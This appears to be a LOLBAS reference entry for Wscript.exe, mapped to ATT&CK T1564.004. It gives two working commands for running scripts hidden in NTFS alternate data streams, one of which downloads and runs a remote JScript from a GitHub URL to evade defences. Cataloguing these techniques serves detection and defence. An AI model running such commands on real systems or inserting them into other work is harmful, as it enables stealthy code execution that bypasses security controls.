.. /Wscript.exe
Star

Alternate data streams (WSH)

Used by Windows to execute scripts


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

  1. Execute script stored in an alternate data stream

    wscript //e:vbscript c:\ads\file.txt:script.vbs
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004
    Tags
    Execute: WSH
    This LOLBAS executes scripts in Windows Script Host (WSH) languages, such as VBScript and JScript.
  2. Download and execute script stored in an alternate data stream

    echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
    Use case
    Execute hidden code to evade defensive counter measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004